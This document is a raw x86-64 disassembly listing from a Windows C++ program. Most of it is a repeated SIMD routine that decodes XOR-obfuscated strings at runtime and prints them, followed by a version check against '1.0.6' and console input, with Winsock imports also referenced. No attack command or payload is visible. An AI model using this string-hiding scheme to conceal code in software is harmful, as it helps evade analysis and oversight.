pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x70
jl 0x140005290
cmp ecx, 0x71
jge 0x1400053fe
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x71
jl 0x1400053d0
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400ad190]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400ad1a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400ad1b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400ad1c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400ad1d0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400ad1e0]
movups xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [0x1400ad1f0]
movups xmmword [rsp + 0x90], xmm0
movzx eax, byte [0x1400ad200]
mov byte [rsp + 0xa0], al
mov ecx, ebx
cmp esi, 2
jl 0x1400055e2
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x70
jl 0x1400054b0
cmp ecx, 0x71
jge 0x14000561e
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x71
jl 0x1400055f0
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400ad310]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400ad320]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [str._I_bgc_syA]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400ad340]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [str.e_fv_fgd]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400ad360]
movups xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [0x1400ad370]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x1400ad380]
movups xmmword [rsp + 0xa0], xmm1
cmp esi, 2
jl 0x140005802
mov edx, ebx
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x80
jl 0x1400056d0
jmp 0x140005846
lea r9, [rsp + 0x30]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x80
jl 0x140005810
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400ad290]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400ad2a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400ad2b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400ad2c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400ad2d0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400ad2e0]
movups xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [0x1400ad2f0]
movups xmmword [rsp + 0x90], xmm0
movsd xmm0, qword [0x1400ad300]
movsd qword [rsp + 0xa0], xmm0
movzx eax, word [0x1400ad308]
mov word [rsp + 0xa8], ax
movzx eax, byte [0x1400ad30a]
mov byte [rsp + 0xaa], al
mov ecx, ebx
cmp esi, 2
jl 0x140005a42
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x78
jl 0x140005910
cmp ecx, 0x7b
jge 0x140005a7e
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x7b
jl 0x140005a50
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400ad390]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400ad3a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400ad3b0]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1400ad3c0]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400ad3c8]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1400ad3cc]
mov word [rsp + 0x6c], ax
movzx eax, byte [0x1400ad3ce]
mov byte [rsp + 0x6e], al
mov ecx, ebx
cmp esi, 2
jl 0x140005c45
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x38
jl 0x140005b13
cmp ecx, 0x3f
jge 0x140005c7e
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x3f
jl 0x140005c50
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400ad8e0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400ad8f0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400ad900]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1400ad910]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400ad918]
mov word [rsp + 0x68], ax
mov ecx, ebx
cmp esi, 2
jl 0x140005e32
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x38
jl 0x140005d00
cmp ecx, 0x3a
jge 0x140005e6e
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x3a
jl 0x140005e40
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400abef9]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, 7
lea rdx, str.version
lea rcx, [rsp + 0x30]
call fcn.140002850
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x160]
call fcn.14005a998
mov rdi, rax
lea r14, [0x140151880]
cmp r14, rax
je 0x140005f78
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140005f3b
mov rcx, qword [0x140151880]
inc rdx
cmp rdx, 0x1000
jb 0x140005f36
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005fb2
mov rcx, r8
call fcn.14009ed34
mov qword [0x140151890], rbx
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x140151880], 0
movups xmm0, xmmword [rdi]
movups xmmword [0x140151880], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [0x140151890], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 0xf
jbe 0x140005fbe
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005fb9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
mov qword [rsp + 0x170], rbx
mov qword [rsp + 0x178], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x160], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000601b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006015
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006015
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
nop
jmp 0x14000602c
lea rdx, str.1.0.6
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [str.1.0.6]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r14, qword [0x140151880]
mov r8, qword [0x140151890]
cmp r8, qword [reloc.WS2_32.dll_getpeername]
jne 0x140006b76
mov rcx, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140006b76
xorps xmm0, xmm0
movups xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], rbx
mov qword [rsp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x180], al
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0xd8]
call fcn.140003d70
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400060c0
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.14000ad10
mov r10, rax
movups xmm0, xmmword [0x1400ad9d0]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x1400ad9e0]
movsd qword [rsp + 0x40], xmm0
movzx ecx, word [0x1400ad9e8]
mov word [rsp + 0x48], cx
cmp byte [0x1400ad9e9], 0
je 0x1400062a3
mov r8d, ebx
cmp esi, 2
jl 0x14000625a
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140006123
cmp r8d, 0x1a
jge 0x1400062a3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140006270
lea rdx, [rsp + 0x30]
mov rcx, r10
call fcn.140008f90
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x1400062f7
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400062f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
lea rdx, [rsp + 0x180]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140009450
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0xd8]
call fcn.140003d70
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14000632e
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.14000ad10
mov r10, rax
movsd xmm0, qword [0x1400ada98]
movsd qword [rsp + 0xc0], xmm0
mov ecx, dword [0x1400adaa0]
mov dword [rsp + 0xc8], ecx
movzx ecx, word [0x1400adaa4]
mov word [rsp + 0xcc], cx
cmp byte [0x1400adaa5], 0
je 0x1400064e3
mov r8d, ebx
cmp esi, 2
jl 0x140006495
movdqa xmm4, xmmword [0x1400b4930]
movdqa xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
mov eax, dword [str.000000000000000022222222222222224444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400ada98]
xorps xmm2, xmm0
movd dword [rsp + 0xc0], xmm2
movdqa xmm3, xmmword [0x1400b46f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xc4]
xorps xmm2, xmm1
